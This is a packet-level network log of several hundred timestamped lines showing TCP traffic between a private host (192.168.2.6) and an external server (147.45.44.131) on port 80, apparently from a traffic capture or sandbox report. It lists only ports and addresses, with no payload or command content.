Jan 1, 2025 08:53:01.754483938 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.754561901 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.754576921 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.754590988 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.754601955 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.754611969 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.754621983 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.754625082 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.754652023 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.754662037 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.754851103 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.754910946 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.754921913 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.754956961 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.755052090 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.755069971 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.755081892 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.755090952 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.755096912 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.755125046 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.756221056 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.756268978 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.756273031 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.756284952 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.756329060 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.756433964 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.756444931 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.756455898 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.756486893 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.756804943 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.756854057 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.757641077 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.757652044 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.757662058 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.757688046 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.757750034 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.757761002 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.757771969 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.757797956 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.757823944 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.757833958 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.757846117 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.757883072 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.757894993 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.757955074 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.757966995 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.757999897 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.758025885 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758037090 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758065939 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.758104086 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758115053 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758147001 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.758312941 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758323908 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758333921 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758344889 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758357048 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758358002 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.758378983 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.758404970 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.758620977 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758631945 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758644104 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758655071 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758671045 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758682013 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758691072 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.758693933 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758708000 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758719921 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.758752108 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.758868933 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758878946 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758888960 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758900881 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.758928061 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.758959055 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.759047031 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759057999 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759068966 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759077072 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759099960 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.759114981 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.759263039 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759274960 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759284973 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759294987 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759341002 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.759341002 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.759531021 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759541035 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759557009 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759567022 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759577036 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759587049 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759598017 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759598017 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.759608030 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759624958 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.759663105 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.759871960 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759890079 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759901047 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759911060 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759921074 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759928942 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.759932995 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759944916 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759948969 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.759957075 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759967089 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759978056 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.759979010 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.759989977 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760001898 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760004997 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.760015011 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.760044098 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.760377884 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760389090 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760399103 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760409117 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760421038 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760431051 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760442019 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760443926 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.760452986 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760473967 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.760498047 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.760701895 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760718107 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760730028 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760740995 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760776043 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.760807991 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.760854006 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760867119 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760876894 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760886908 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760898113 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760901928 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.760909081 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760920048 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760930061 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.760937929 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760947943 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760956049 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.760957956 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760968924 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.760972023 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760983944 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.760993958 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.761003971 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.761008024 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.761037111 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.761050940 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.761457920 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.804732084 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.842900038 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.842911005 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843034029 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843043089 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843053102 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843067884 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.843086004 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.843234062 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843245029 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843254089 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843286037 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.843310118 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.843415976 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843426943 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843437910 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843447924 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843457937 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843465090 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.843468904 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843492031 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.843502045 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.843549013 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843734980 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843777895 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.843904018 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843914032 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843924046 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843934059 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843945026 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843955040 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.843957901 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.843982935 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.843993902 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.844053984 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.844583035 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.844594002 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.844604015 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.844614983 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.844625950 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.844630957 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.844638109 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.844649076 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.844665051 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.844702005 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.846446037 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.846456051 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.846466064 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.846513033 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.846590042 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.846600056 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.846640110 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.846769094 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.846781015 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.846821070 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.846932888 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.846942902 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.846954107 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.846962929 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.846985102 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.847008944 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.847106934 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847120047 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847130060 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847141981 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847158909 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.847182035 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.847274065 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847287893 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847299099 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847322941 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847323895 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.847332954 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847342968 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847356081 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847356081 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.847367048 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847384930 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.847409010 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.847603083 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847615004 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847625971 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847656012 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.847666979 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.847765923 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847778082 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847788095 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847799063 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847809076 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847820044 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.847820044 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.847850084 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.847861052 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.847955942 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848131895 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848145008 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848154068 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848171949 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.848189116 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.848311901 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848324060 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848334074 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848345041 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848361015 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.848375082 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.848457098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848468065 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848479986 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848520994 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.848620892 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848632097 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848642111 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848653078 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848675013 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.848687887 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.848799944 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848812103 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848823071 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848833084 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848843098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848850965 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.848855972 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848866940 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848877907 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848877907 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.848889112 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.848893881 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.848905087 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.848938942 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.849324942 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849335909 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849345922 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849356890 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849366903 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849376917 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.849380970 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849394083 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849405050 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849410057 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.849416971 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849425077 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.849427938 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849440098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849452972 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.849457979 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849468946 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849479914 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849482059 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.849490881 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849498987 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.849531889 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.849663973 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849682093 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849693060 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849704027 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849711895 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.849730015 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849737883 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.849757910 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849771976 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849781990 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849786043 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.849793911 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849805117 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849816084 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849817991 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.849827051 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849838018 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849847078 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.849849939 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849862099 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849867105 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.849873066 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849881887 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.849885941 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849896908 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849909067 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849915981 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.849920988 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849931955 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.849940062 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.849944115 CET	80	49700	147.45.44.131	192.168.2.6
